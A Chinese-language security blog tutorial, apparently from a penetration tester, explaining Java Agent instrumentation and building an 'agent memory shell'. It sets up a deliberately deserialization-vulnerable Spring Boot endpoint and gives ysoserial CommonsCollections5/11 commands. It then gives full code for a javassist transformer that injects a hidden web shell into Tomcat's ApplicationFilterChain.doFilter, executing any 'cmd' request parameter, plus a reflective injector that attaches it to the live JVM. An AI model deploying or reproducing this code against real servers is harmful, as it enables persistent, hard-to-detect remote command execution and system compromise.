Java Agent 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
Java Agent 支持两种方式进行加载:
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
启动时加载 agent premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法
Burpsuite破解版启动时-javaagent参数使用的就是这个方法,下面举一个实际的例子
JDK 1.8.311
idea创建pom项目
1 2 3 4 5 public class Main { public static void main (String[] args) { System.out.println("Hello World" ); } }
菜单栏File->project stucture,添加Artifacts,选择执行的Main Class
然后菜单栏Build->Build Artifacts,在out目录下可以看到生成的jar文件
创建PremainDemo类,实现premain方法
1 2 3 4 5 6 7 import java.lang.instrument.Instrumentation;public class PremainDemo { public static void premain (String aegntArgs, Instrumentation inst) { System.out.println("premain method is hooked!" ); } }
MANIFEST.MF,指定Premain-Class
1 2 Manifest-Version: 1.0 Premain-Class: PremainDemo
这里使用纯java命令来打包,javac将java文件编译成class文件后,使用jar打包
1 jar cvfm agent.jar MANIFEST.MF PremainDemo.class
添加-javaagent
参数,premain在main函数之前执行成功
在实际渗透测试的过程中肯定不能采用这样的方式,所以还是需要启动后加载
动态修改字节码 Instrumentation 在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码,更加详细的介绍和方法,可以参照官方文档 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException ; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings ("rawtypes" ) Class[] getAllLoadedClasses(); ...... }
addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
1 2 void addTransformer (ClassFileTransformer transformer)
这样当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截
getAllLoadedClasses getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果
启动后加载agent 在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent,主要涉及VirtualMachine这个类,有以下几个重要的方法
Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
Text 1 VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent :向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach :从 JVM 上面解除一个代理(agent)
大概流程就是:通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。
Demo
AgentMainDemo.java
1 2 3 4 5 6 7 import java.lang.instrument.Instrumentation;public class AgentMainDemo { public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new DefineTransformer(), true ); } }
DefineTransformer.java
1 2 3 4 5 6 7 8 9 10 11 import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { System.out.println(className); return new byte [0 ]; } }
MANIFEST.MF
1 2 3 4 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: AgentMainDemo
如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
Text 1 2 Can-Retransform-Classes 是否支持类的重新替换 Can-Redefine-Classes 是否支持类的重新定义
打包agent.jar
1 jar cvfm agent.jar MANIFEST.MF AgentMainDemo.class DefineTransformer .class
测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class Main { public static void main (String[] args) throws Exception { String path = "/Users/str3am/Documents/Projects/agent-test/src/main/java/agent.jar" ; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v : list) { if (v.displayName().contains("Main" )) { VirtualMachine vm = VirtualMachine.attach(v.id()); System.out.println("id - >>> " + v.id()); vm.loadAgent(path); vm.detach(); } } } }
这里只是Demo测试,输出了加载的类名
Agent Memory Shell 搭建一个cc5的springboot环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.example.agentmemoryshell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;@Controller public class VulnController { @ResponseBody @RequestMapping ("/vuln" ) public String Vuln (String payload) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload))); Object o = (Object) ois.readObject(); return "Hello!" ; } @ResponseBody @RequestMapping ("/" ) public String hello () { return "Hello!" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.13</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
yso cc5直接打,传base64之后的payload需要再urlencode一次,因为浏览器对+
号的处理
1 java -jar ysoserial-0.0 .6 -SNAPSHOT-all.jar CommonsCollections5 "open -a calculator" | base64
https://github.com/KpLi0rn/AgentMemShell ,编写agent,直接劫持doFilter函数
AgentMain.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.lang.instrument.Instrumentation;public class AgentMain { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer(),true ); Class[] classes = ins.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try { ins.retransformClasses(new Class[]{clas}); } catch (Exception e){ e.printStackTrace(); } } } } }
DefineTransformer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" ,"." ); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
打包成jar文件
使用自定义代码的ysoserial注入agent,https://github.com/KpLi0rn/ysoserial
agent.java
由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 try { java.lang.String path = "/Users/str3am/Downloads/AgentMemShell/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar" ; java.io.File toolsPath = new java.io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM list ..." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); java.lang.String name = (java.lang.String) displayName.invoke(o,null ); if (name.contains("com.example.agentmemoryshell.AgentMemoryShellApplication" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class[]{java.lang.String.class }) ; java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class[]{java.lang.String.class }) ; loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e){ e.printStackTrace(); }
生成yso payload打过去即可,注意这里选择CommonsCollections11
1 java -jar ysoserial-0.0 .6 -SNAPSHOT-all.jar CommonsCollections11 codefile:./agent.java | base64
Refferences